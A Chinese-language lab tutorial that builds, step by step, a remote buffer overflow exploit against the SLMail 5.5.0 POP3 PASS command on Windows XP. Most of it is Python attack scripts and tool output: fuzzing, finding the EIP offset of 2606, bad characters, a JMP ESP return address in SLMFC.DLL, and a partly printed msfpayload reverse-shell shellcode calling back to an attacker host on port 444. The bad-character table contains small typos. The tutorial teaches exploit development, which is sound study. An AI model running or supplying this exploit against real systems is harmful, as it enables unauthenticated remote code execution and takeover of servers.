缓冲区溢出实例（一)--Windows

一、基本概念

缓冲区溢出：当缓冲区边界限制不严格时，由于变量传入畸形数据或程序运行错误，导致缓冲区被填满从而覆盖了相邻内存区域的数据。可以修改内存数据，造成进程劫持，执行恶意代码，获取服务器控制权限等。

 

在Windows XP或2k3 server中的SLMail 5.5.0 Mail Server程序的POP3 PASS命令存在缓冲区溢出漏洞，无需身份验证实现远程代码执行。

 

注意，Win7以上系统的防范机制可有效防止该缓冲区漏洞的利用：

DEP：阻止代码从数据页被执行；

ASLR：随机内存地址加载执行程序和DLL，每次重启地址变化。

 

二、实验环境准备：

SLMail 5.5.0 Mail Server

ImmunityDebugger_1_85_setup.exe

mona.py

 

下载地址：

https://slmail.software.informer.com/download/

https://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/Immunity-Debugger.shtml

https://github.com/corelan/mona

mona手册

https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

 

实验环境：xp

关闭防火墙

 

1.安装SLMail 5.5.0邮件服务器

 

 

 

 

 

将本地账户导入邮件服务器

安装好环境之后，确认SLMail的端口是否正常开启：25 pop3端口，180 web管理端口。

services.msc 查看邮件相关服务。

2.邮件服务安装成功后，接下来安装调试工具 ImmunityDebugger

软件会自动安装python2.7环境

打开Immunity Debugger所在目录

C:\Program Files\Immunity Inc\Immunity Debugger

将mona.py复制到PyCommands目录下，

C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

 

三、实验内容

SLMail 5.5.0 Mail Server

POP3 PASS 命令存在缓冲区溢出漏洞

无需身份验证实现远程代码执行

win7之后windows的安全防护机制

DEP：阻止代码从数据页被执行

ASLR：随机内存地址加载执行程序和DLL，每次重启地址变化

 

使用nc验证端口连接是否正常，并且可执行pop3的一些指令

nc 192.168.199.199 25

nc 192.168.199.199 110

测试 PASS 命令接收到大量数据时是否会溢出

EIP 寄存器：存放下一条指令的地址

pop3邮件服务侦听的端口是110，进程ID是636.

使用Immunity Debugger

file---attach---选中pid号为636的进程---attach调用

开始监控程序运行状态

利用原理：“PASS”命令后，当一些特殊定制的命令输入，会造成缓冲区溢出，上传shellcode，可控制目标系统，则不需要经过身份验证，获得权限

 

一、测试哪个命令会出现缓冲区溢出

注：如何了解应用/协议能接受的固定指令：1、Wireshark 2、RFC【必须理解系统底层和协议底层】

01.py 最简单的功能实现

#!/usr/bin/python

 

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

 

try:

print "\nSending evil buffer..."

s.connect(("192.168.199.199",110))

data = s.recv(1024)

print data

 

s.send("USER Xuan"+"\r\n")

data = s.recv(1024)

print data

 

s.send("PASS test\r\n")

data = s.recv(1024)

print data

 

s.close()

print "\nDone"

 

except:

print "Could not connect to POP3!"

 

 

02.py【不断增大发送量，通过Debug确定是否会溢出】【若发送数目很大，还没溢出，则可放弃】

# 大概确定范围

#!/usr/bin/python

 

import socket

 

buffer=["A"]

counter=100

while len(buffer) <= 50:

buffer.append("A"*counter)

counter=counter+200

 

for string in buffer:

print "Fuzzing PASS with %s bytes" % len(string)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect(("192.168.199.199",110))

s.recv(1024)

s.send("USER test"+"\r\n")

s.recv(1024)

s.send("PASS "+string+"\r\n")

s.send("QUIT\r\n")

s.close()

 

 

EIP中的41是十六进制数，转换为字母就是A，也就是说此时EIP寄存器全部填满了A，ESP寄存器也被填满了A，每四个字节为一个存储单元进行存储，

EIP就是当前邮件服务器SLmail下一个需要执行的指令的内存地址，所发送的A把下一条指令的内存地址给覆盖了，发生了缓冲区溢出。此时cpu会到EIP所在的内存地址中寻找指令代码，而该指令内存已被A全部覆盖，此时程序就会奔溃无法继续运行。

漏洞利用：可以用shellcode填充EIP寄存器地址，这样就可能控制目标机器。

注：每次实验完都会导致邮件服务奔溃，因此需要每次实验前都需要重新启动SLmail服务。

# 通过调试工具查看是否异常？【静态调试（汇编）、动态调试（正在运行的进程：attach）】

110端口【SLmail】：netstat -nao【查看系统进程的PID和端口等信息】

# 重点关注寄存器

# ESP：当ESP中输入数据过多，将会把EIP的内存地址覆盖

# EIP：下一跳指令的内存地址，若下一跳指令被修改，则可执行某一地址空间，运行shellcode

 

03.py 【手动尝试，找到溢出范围】

2700个字符实现 EIP 寄存器溢出

找到精确溢出的 4 个字节

#!/usr/bin/python

import socket

 

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

buffer = 'A' * 2700

 

try:

print "\nSending evil buffer..."

s.connect(("192.168.199.199",110))

data = s.recv(1024)

s.send("USER test"+"\r\n")

data = s.recv(1024)

s.send("PASS "+buffer+"\r\n")

print "\nDone!."

except:

print "Could not connect to POP3!"

使用2700个字符去填充，此时程序已经奔溃，但是EIP寄存器已被我们设定的A填充满。

 

使用2600个字符去填充，此时虽然程序已经奔溃，但是EIP寄存器并未被我们设定的A填充满。

说明导致寄存器溢出的字符在2600到2700之间。

04.py 精确定位【二分法或唯一字符串法】

找出精确溢出的4个字节

通常找出精确字节的方法有如下两种：

1、二分查找法

2、唯一字串法：

 

这里为了方便便使用唯一字符串法，其可在Kali Linux的/usr/share/metasploit-framework/tools/exploit/pattern_create.rb脚本中可以生成唯一字符串：

cd /usr/share/metasploit-framework/tools/exploit

查看可选参数

./pattern_create.rb -h

Usage: msf-pattern_create [options]

Example: msf-pattern_create -l 50 -s ABC,def,123

Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf

Options:

-l, --length <length> The length of the pattern

-s, --sets <ABC,def,123> Custom Pattern Sets

-h, --help Show this message

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb -l 2700

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9

 

生成2700个每四个字符为一组的唯一字符串，使用kali中metasploit脚本工具

# 将这2700个字符添加进04.py脚本中，作为buffer的参数

04.py

#!/usr/bin/python

import socket

 

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9'

 

try:

print "\nSending evil buffer..."

s.connect(("192.168.199.199",110))

data = s.recv(1024)

s.send("USER test"+"\r\n")

data = s.recv(1024)

s.send("PASS "+buffer+"\r\n")

print "\nDone!."

except:

print "Could not connect to POP3!"

 

 

# EIP：39694438

# 因为在内存中数据的读写顺序与人类读写顺序相反，则此ASCII码应为38 44 69 39

根据ASCII码表可得此4个字符为8Di9

 

# 计算偏移量，计算【39694438】在2700个字符中的具体位置。

cd /usr/share/metasploit-framework/tools/exploit/

同样先来查看需要设置的参数，偏移量使用-q参数

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -h

Usage: msf-pattern_offset [options]

Example: msf-pattern_offset -q Aa3A

[*] Exact match at offset 9

Options:

-q, --query Aa0A Query to Locate

-l, --length <length> The length of the pattern

-s, --sets <ABC,def,123> Custom Pattern Sets

-h, --help Show this message

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 39694438

[*] Exact match at offset 2606 精确的匹配出来偏移量是2606，也就是它前面有2606个字符，即8Di9中的8是第2607个字符。

 

05.py 确认是否真为此位置

buffer = 'A' * 2606+'B'*4+'C'*20

将前2606个字符替换为A，之后4个替换为B,再之后的20个字符替换为C，确认是否可以精确的把BBBB写入EIP寄存器。

#!/usr/bin/python

import socket

 

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

buffer = 'A' * 2606+'B'*4+'C'*20

 

try:

print "\nSending evil buffer..."

s.connect(("192.168.199.199",110))

data = s.recv(1024)

s.send("USER test"+"\r\n")

data = s.recv(1024)

s.send("PASS "+buffer+"\r\n")

print "\nDone!."

except:

print "Could not connect to POP3!"

执行结果显示EIP为42424242，转换为字母就是BBBB，20个C精准被填入ESP.

思路：将EIP修改为shellcode代码的内存地址，将shellcode写入到该地址空间，程序读取EIP寄存器数值，将跳转到shellcode代码段并执行。

# 寻找可存放shellcode的内存空间（考虑ESP），修改EIP使其指向ESP所在的shellcode内存空间。

 

06.py【手动修改C数值，判断内存空间大小是否能放一下shellcode，假设ESP寄存器可放3500】

buffer = 'A' * 2606+'B'*4+'C'*(3500-2606+4) 让C去填满ESP的内存空间，判断C的个数。

#!/usr/bin/python

import socket

 

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

buffer = 'A' * 2606+'B'*4+'C'*(3500-2606+4)

 

try:

print "\nSending evil buffer..."

s.connect(("192.168.199.199",110))

data = s.recv(1024)

s.send("USER test"+"\r\n")

data = s.recv(1024)

s.send("PASS "+buffer+"\r\n")

print "\nDone!."

except:

print "Could not connect to POP3!"

# 选择ESP，右键：follow in dump

右键--Hex--Hex/ASCII 16bytes，使用每行16个字节来显示，这样可以方便查看。

# ESP起始地址为：0167A154 终止地址为：0167A2F4

# 使用科学计算器，windows下，calc->查看->科学型->十六进制，因为所有的地址的前5位都一致，因此使用结束地址0167A2F4的后三位2F4减去开始地址0167A154的后三位154，结果再转化为十进制，得结果为416

# 最小的shellcode为300字节左右，因此ESP足够放下一个shellcode。

# 在做模糊测试过程中，因为不同类型的程序、协议、漏洞，会将某些字符认为是坏字符，，这些字符有固定用途。如：null byte (0x00)空字符，用于终止字符串的拷贝操作；return (0x0D)回车操作，表示POP3 PASS指令操作完毕。

注：返回地址、shellcode、buffer都不能出现坏字符

 

07.py【思路：发送0x00-0xff 256个字符，查找所有的坏字符】

即二进制数00000000---11111111，共有256种组合。

0 --- 255

#!/usr/bin/python

import socket

 

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

badchars = (

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x09\x0b\x0c\x0d\x0e\x0f\x00"

"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10"

"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20"

"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30"

"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\4e\x4f\x40"

"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50"

"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60"

"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70"

"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80"

"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90"

"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0"

"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0"

"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0"

"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0"

"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0"

"\xe1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0"

)

 

buffer = "A"*2606 + "B"*4 + badchars

 

try:

print "\nSending evil buffer..."

s.connect(("192.168.199.199",110))

data = s.recv(1024)

s.send("USER test"+"\r\n")

data = s.recv(1024)

s.send("PASS "+buffer+"\r\n")

print "\nDone!."

except:

print "Could not connect to POP3!"

# 右键follow in dump

# 此字符后，数据显示异常，则该字符（0A）可能有问题，进行下一步验证

修改0A为某一正常字符如09，重新发送验证，

0A替换为09可正常运行。

# 验证得0A 为坏字符 ；0D为坏字符不出现，缩进一格，全部检查，发现00也被过滤，则可发现该实验中坏字符为：0x00 0x0D 0x0A

重定向数据流，用ESP的地址替换EIP的值，但是ESP的地址是变化的，不能使用硬编码。在SLMali线程应用程序中，操作系统为每个线程分配一段的地址范围，每个线程地址范围不确定

 

变通思路：在内存地址中寻找固定的系统模块，在模块中寻找JMP ESP指令的地址跳转，再由该指令间接跳转到ESP，从而执行shellcode。利用mona.py脚本识别内存模块，搜素“return address”是JMP ESP指令的模块，寻找无DEP、ALSP保护的内存地址【内存地址不能包含坏字符】｛从EIP跳到JMP ESP，再跳到ESP｝

 

#输入！mona modules 查找模块【选择前四个模块为false，最后一个OS dll为true】

!mona modules

这里我们主要关注Rebase，true表示重启后内存地址值改变，false表示重启后内存地址不变。

safeSEH和ASLR是计算机内存保护机制。理想的环境内存保护机制都是false。

OS dll：操作系统动态连接库，表示可运行在任意系统中，若为false则可能在其他系统中不能运行

 

JMP ESP是汇编指令，需要使用kali将其转换为二进制。

root@kali:~# cd /usr/share/metasploit-framework/tools/exploit/

root@kali:/usr/share/metasploit-framework/tools/exploit# ./nasm_shell.rb

!mona find -s "\xff\xe4" -m openc32.dll【在该进程模块查找是否有执行JMP ESP的命令】

【JMP ESP为汇编指令，需转换为二进制指令FFE4】

# nasm_shell.rb脚本的作用就是用来转换汇编指令

openc32.dll进程模块中没有可以执行JMP ESP的命令

 

!mona find -s "\xff\xe4" -m MFC42LOC.dll 还是不支持！

 

继续查找并尝试

 

ok，SLMFC.DLL支持执行JMP ESP的命令，并且有20个内存地址可以执行。

 

双击打开一个内存地址，右键---Disassemble将16进制切换为汇编语言，

可以看到16进制FFE4对应的汇编JMP ESP。

 

 

打开内存地图，找到SLMFC模块的基地址5F400000，可以看到该内存中存放的是一个pe文件头。

5F401000存放code

 

给5F4B41E3设置断点，当运行到此处中断程序的执行。

选择内存地址---右键---breakpoint---memory，on access---开启运行程序

 

08.py【验证断点是否正常跳转】

# 因为计算机读取数据为翻转【为跳转地址】

5F4B41E3，内存里面存放数据时完全反转进行放置的，即：E3 41 4B 5F

buffer = 'A' * 2606 + "\xe3\x41\x4b\x5f" + "C" *390

 

#!/usr/bin/python

import socket

 

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

buffer = 'A' * 2606 + "\xe3\x41\x4b\x5f" + "C" *390

 

try:

print "\nSending evil buffer..."

s.connect(("192.168.199.199",110))

data = s.recv(1024)

s.send("USER test"+"\r\n")

data = s.recv(1024)

s.send("PASS "+buffer+"\r\n")

print "\nDone!."

except:

print "Could not connect to POP3!"

 

当执行内存5F4B41E3时遇到断点！

 

EIP指定了5F4B41E3地址，该地址会跳转到SLMFC模块里的JMP ESP指令，

 

F7：程序调试过程中的单步向前运行的指令

 

01AFA154，该地址中存放的都是C.

 

# 将脚本里的shellcode替换成shellcode，则可获得控制

Shellcode

可用Scapy编写，也可用./msfpayload -l 自动生成shellcode【该工具中含有大量针对各种系统的shellcode】

# 正向开后门基本杜绝，要进行反向开后门

root@kali:~# cd /usr/share/framework2/

root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.199.112 LPORT=444 C

"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"

"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"

"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"

"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"

"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"

"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"

"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"

"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"

"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"

"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"

"\xc0\xa8\xc7\x70\x66\x68\x01\xbc\x66\x53\x89\xe1\x95\x68\xec\xf9"

"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"

